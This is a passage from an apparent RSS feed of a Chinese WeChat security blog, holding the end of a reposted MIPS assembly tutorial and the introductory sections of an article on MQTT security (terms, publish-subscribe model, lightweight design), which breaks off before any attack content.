terminated</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    .text</span></code><code><span class="code-snippet_outer">        main:    li  $v0, <span class="code-snippet__number">4</span>  </span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># load appropriate system call code into register $v0;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># code for printing string is 4</span></span></code><code><span class="code-snippet_outer">                 la  $a0, string1</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># load address of string to be printed into $a0</span></span></code><code><span class="code-snippet_outer">                  <span class="code-snippet__keyword">syscall</span>  </span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># call operating system to perform print operation</span></span></code></pre></section><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">举例 执行到这里，程序结束，立马走人，管他后边洪水滔天~~</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">li</span>  <span class="code-snippet__variable">$v0</span>, <span class="code-snippet__number">10</span>    　 <span class="code-snippet__comment"># system call code for exit = 10</span></span></code><code><span class="code-snippet_outer">syscall           <span class="code-snippet__comment"># call operating sys</span></span></code></pre></section><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><br/></p><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;">参考引用：<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">本文属于转载非原创，略有修改： <span class="code-snippet__symbol">https:</span>/<span class="code-snippet__regexp">/www.cnblogs.com/thoupin</span><span class="code-snippet__regexp">/p/</span><span class="code-snippet__number">4018455</span>.html</span></code><code><span class="code-snippet_outer">这篇文章的英文原版地址在这里： <span class="code-snippet__symbol">https:</span>/<span class="code-snippet__regexp">/minnie.tuhs.org/</span>CompArch/Resources/mips_quick_tutorial.html</span></code></pre></section><p style="max-width: 100%;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;"></span></p>



<p><a href="2247487952">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c26d7922&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUzMjcxMzg5Mg%3D%3D%26mid%3D2247487952%26idx%3D1%26sn%3De9baae9620ab421c7bfcc5c5552d40d7%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 15 Jan 2021 20:00:00 +0800</pubDate>
    </item>
    <item>
      <title>MQTT安全初探</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247487921&amp;idx=1&amp;sn=dabc68501c368eef0434bc16bd01dfa4</link>
      <description>今天我们将从三个方面来探讨一下MQTT的安全性，分别是登陆认证问题、权限控制问题以及Broker自身安全性的问题。</description>
      <content:encoded><![CDATA[<p>
原创 <span>年华不散场</span> <span>2021-01-08 20:09</span> <span style="display: inline-block;"></span>
</p>

<p>今天我们将从三个方面来探讨一下MQTT的安全性，分别是登陆认证问题、权限控制问题以及Broker自身安全性的问题。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=f154c7ac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fdjiam4RadAPbLBFibt31OWQJg3tyv0EMXnicW18VcaGcd7D4icOQPibKPPolfOfzJuujtxOU5tySibnGibTJZ0kFpR0hg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p data-mpa-powered-by="yiban.io"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><span style="color: rgb(136, 136, 136);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 14px;letter-spacing: 2px;"></span><span style="color: rgb(136, 136, 136);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 14px;letter-spacing: 2px;">文 年华 | 图 lmn</span></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.4590909090909091" data-s="300,640" style="" data-type="png" data-w="660" src="https://wechat2rss.xlab.app/img-proxy/?k=7a175076&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbLBFibt31OWQJg3tyv0EMXnicCSve9GASOicker0muytxjavqR39ScKdgySm3rzyia65OkibMdCIQ89TA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">随着物联网的快速发展，当前在物联网中的常见的五种协议分别是：HTTP、CoAP、XMPP、AMQP、MQTT。但在这么多协议中，毫无疑问MQTT最具代表性,因为它<strong>占用带宽小</strong>、<strong>轻量级</strong>、<strong>简单易用</strong>等优点最符合物联网的应用场景。可以毫不夸张的说：每个物联网开发人员都一定了解MQTT</span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">今天我们将从三个方面来探讨一下MQTT的安全性，分别是<strong>登陆认证问题</strong>、<strong>权限控制问题</strong>以及<strong>Broker自身安全性</strong>的问题（不知道什么是Broker没关系，接着往下看就是了），</span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);text-decoration: underline;"><strong>如果师傅已经了解了MQTT的基础知识建议直接看第三小节</strong></span></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><span style="color: rgb(217, 33, 66);"><strong><span style="color: rgb(217, 33, 66);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">【本文所有截图均在模拟环境进行】</span></strong></span></p><h2 style="margin: 20px 16px;font-size: 22.4px;white-space: normal;max-width: 100%;letter-spacing: 0.544px;text-size-adjust: auto;text-align: center;color: rgb(63, 63, 63);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;letter-spacing: 2px;box-sizing: border-box !important;overflow-wrap: break-word !important;">1 MQTT简介</span></h2><h2 style="margin-top: 1.3em;margin-bottom: 1em;font-weight: bold;font-size: 18px;white-space: normal;border-bottom: 1px solid rgb(238, 238, 238);color: black;"><span style="color: rgb(51, 51, 51);">术语</span></h2><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">为了防止师傅们疑惑，本文使用术语定义如下：</span></p><p><span style="font-size: 11px;"><strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">客户端（Client）</span></strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">：使用MQTT的程序或设备，一般分为发布者和订阅者</span></span></p><p><span style="font-size: 11px;"><strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">服务端（Server）</span></strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">：发布者和订阅者之间的中介【Broker】</span></span><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;caret-color: rgb(167, 167, 167);font-size: 11px;"></span></p><p><span style="font-size: 11px;"><strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">主题（Topic）</span></strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">：附加在消息上的一个标签，Broker会将该消息发送给所有订阅该主题的订阅者</span></span></p><p><span style="font-size: 11px;"><strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">主题过滤器（Topic Filter）</span></strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">：订阅者订阅时可使用通配符同时订阅一个或多个主题</span></span></p><h2 style="margin-top: 1.3em;margin-bottom: 1em;font-weight: bold;font-size: 18px;white-space: normal;border-bottom: 1px solid rgb(238, 238, 238);color: black;"><span style="color: rgb(51, 51, 51);">基本介绍</span></h2><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">MQTT的主要工作原理如下图所示，发布者和订阅者就像常见系统中的客户端一样，中心服务器在MQTT中被称为Broker<span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;caret-color: rgb(167, 167, 167);font-size: 10px;"><sup>[1]</sup></span></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.3457814661134163" data-s="300,640" style="" data-type="png" data-w="723" src="https://wechat2rss.xlab.app/img-proxy/?k=4e77e13a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPY3jd0HBC3nMp0xtJTFucwANvRwoMRxnViaxJpiaEsPDrFpWUoaSqNlzqGzy29PVg43HjTISqcicNiaEg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;font-size: 12px;">△  </span><span style="caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;font-size: 12px;">图片来源：mqtt.org</span></p><p><br/></p><p><span style="caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;font-size: 12px;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">那MQTT的设计优点有哪些呢？郭朝斌老师将其归纳为五个方面<span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;caret-color: rgb(167, 167, 167);font-size: 10px;"><sup>[2]</sup></span></span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></span></p><p><span style="caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;font-size: 12px;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></span></p><p><span style="caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;font-size: 12px;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">1. 契合物联网大部分应用场景的<strong>发布-订阅模式</strong></span></span></p><p><span style="caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;font-size: 12px;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">2. 能够满足物联网中资源受限设备需要的<strong>轻量级特性</strong></span></span></p><p><span style="caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;font-size: 12px;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">3. 时刻关注物联网设备<strong>低功耗需求的优化设计</strong></span></span></p><p><span style="caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;font-size: 12px;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">4. 针对物联网中多变的网络环境提供的<strong>多种服务质量等级</strong></span></span></p><p><span style="caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;font-size: 12px;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">5. 支持在物联网应用中越来越被重视的<strong>数据安全</strong></span></span></p><p><span style="caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;font-size: 12px;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></span></p><p><strong><span style="caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;font-size: 12px;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">接下来我们分别讲解一下这五个特性</span></span></strong></p><h2 style="margin-top: 1.3em;margin-bottom: 1em;font-weight: bold;font-size: 18px;white-space: normal;border-bottom: 1px solid rgb(238, 238, 238);color: black;"><span style="color: rgb(51, 51, 51);">发布-订阅模式</span></h2><p style="text-align: center;"><img class="rich_pages" data-ratio="0.4929936305732484" data-s="300,640" data-type="png" data-w="1570" style="display: inline;" src="https://wechat2rss.xlab.app/img-proxy/?k=41c8f7c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbLBFibt31OWQJg3tyv0EMXnXvPqJF8IpdQbKjMAhUAIHnjFTIAHpv4925ymp5hyvDTiaqWSItSyJug%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;font-size: 12px;">△  </span><span style="caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);color: rgb(136, 136, 136);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;widows: 1;font-size: 12px;">图片来源：emqx.io</span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">通过上图可以看到有两个MQTT客户端同时订阅了同一个主题Temperature，当温度传感器作为发布者发布其检测到的温度时，订阅者手机、电脑和后端服务器都会收到同样的消息</span><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">发布-订阅模式的优点在于发布者与订阅者的解耦，这种解耦表现在以下两个方面<span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: 2px;widows: 1;caret-color: rgb(167, 167, 167);font-size: 10px;"><sup>[3]</sup></span>：</span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">1. <strong>空间解耦</strong>，订阅者与发布者不需要建立直接连接，新的订阅者想要加入网络时不需要修改发布者的行为</span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">2.<strong> 时间解耦</strong>，订阅者和发布者不需要同时在线，即便不存在订阅者也不影响发布者发布消息</span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">因为发布-订阅模型的应用，使得MQTT允许一个传感器发布的数据触发多个订阅者的一系列动作</span></p><h2 style="margin-top: 1.3em;margin-bottom: 1em;font-weight: bold;font-size: 18px;white-space: normal;border-bottom: 1px solid rgb(238, 238, 238);color: black;"><span style="color: rgb(51, 51, 51);">轻量级模型</span></h2><p><span style="background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">MQTT的轻量体现在两个方面：</span><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">一是MQTT消息采用二进制的编码格式，充分利用字节位，协议头紧凑，减少了通过网络传输的数据量。下图展示了MQTT的固定头格式：</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.14823815309842042" data-s="300,640" data-type="png" data-w="1646" style="display: inline;" 